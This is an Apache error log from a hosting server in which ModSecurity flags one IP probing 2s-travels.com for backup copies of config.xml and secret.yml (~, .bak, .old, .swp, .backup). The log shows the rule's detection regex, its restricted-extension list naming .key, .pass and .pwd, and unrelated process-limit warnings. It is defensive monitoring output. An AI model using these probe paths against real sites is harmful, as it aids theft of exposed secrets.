[Fri Jul 17 08:55:20.629916 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".xml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.xml~"] [unique_id "almgoIbYoYGvYnmnM82CPgAAAAs"]
[Fri Jul 17 08:55:20.630582 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.xml~"] [unique_id "almgoIbYoYGvYnmnM82CPgAAAAs"]
[Fri Jul 17 08:55:20.630778 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.630944 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82CPgAAAAs"]
[Fri Jul 17 08:55:20.635699 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.636006 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.xml.old"] [unique_id "almgoA7FYe46zHK_jL3P9QAAABk"]
[Fri Jul 17 08:55:20.636839 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.xml.old"] [unique_id "almgoA7FYe46zHK_jL3P9QAAABk"]
[Fri Jul 17 08:55:20.637025 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.637227 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA7FYe46zHK_jL3P9QAAABk"]
[Fri Jul 17 08:55:20.638839 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.641201 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.xml.swp"] [unique_id "almgoEkXT4NBqALj2lZ8yQAAABA"]
[Fri Jul 17 08:55:20.641827 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.xml.swp"] [unique_id "almgoEkXT4NBqALj2lZ8yQAAABA"]
[Fri Jul 17 08:55:20.642025 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.642206 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoEkXT4NBqALj2lZ8yQAAABA"]
[Fri Jul 17 08:55:20.648747 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.653029 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.xml.backup"] [unique_id "almgoLoj0IkvhSCYadmBvgAAAAQ"]
[Fri Jul 17 08:55:20.653608 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.xml.backup"] [unique_id "almgoLoj0IkvhSCYadmBvgAAAAQ"]
[Fri Jul 17 08:55:20.653781 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.653944 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoLoj0IkvhSCYadmBvgAAAAQ"]
[Fri Jul 17 08:55:20.658240 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.661306 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.671553 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.672481 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".yml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secret.yml~"] [unique_id "almgoO1pLmPpy2r_2CxfYQAAAA8"]
[Fri Jul 17 08:55:20.673014 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secret.yml~"] [unique_id "almgoO1pLmPpy2r_2CxfYQAAAA8"]
[Fri Jul 17 08:55:20.673178 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.673322 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfYQAAAA8"]
[Fri Jul 17 08:55:20.674433 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secret.yml.bak"] [unique_id "almgoA5GPQ6hs4VrfMpBlwAAAAY"]
[Fri Jul 17 08:55:20.674928 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secret.yml.bak"] [unique_id "almgoA5GPQ6hs4VrfMpBlwAAAAY"]
[Fri Jul 17 08:55:20.675067 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.675218 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBlwAAAAY"]
[Fri Jul 17 08:55:20.677668 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secret.yml.old"] [unique_id "almgoIbYoYGvYnmnM82CPwAAAAs"]
[Fri Jul 17 08:55:20.678143 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secret.yml.old"] [unique_id "almgoIbYoYGvYnmnM82CPwAAAAs"]
[Fri Jul 17 08:55:20.678249 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.678250 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.678269 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.678387 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82CPwAAAAs"]
[Fri Jul 17 08:55:20.678459 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82CPwAAAAs"]
[Fri Jul 17 08:55:20.678471 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82CPwAAAAs"]
[Fri Jul 17 08:55:20.683105 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.684374 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/secret.yml.swp"] [unique_id "almgoFCBpfuYyhJ140vSvQAAAB4"]
[Fri Jul 17 08:55:20.684977 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/secret.yml.swp"] [unique_id "almgoFCBpfuYyhJ140vSvQAAAB4"]
[Fri Jul 17 08:55:20.685142 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.685278 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoFCBpfuYyhJ140vSvQAAAB4"]
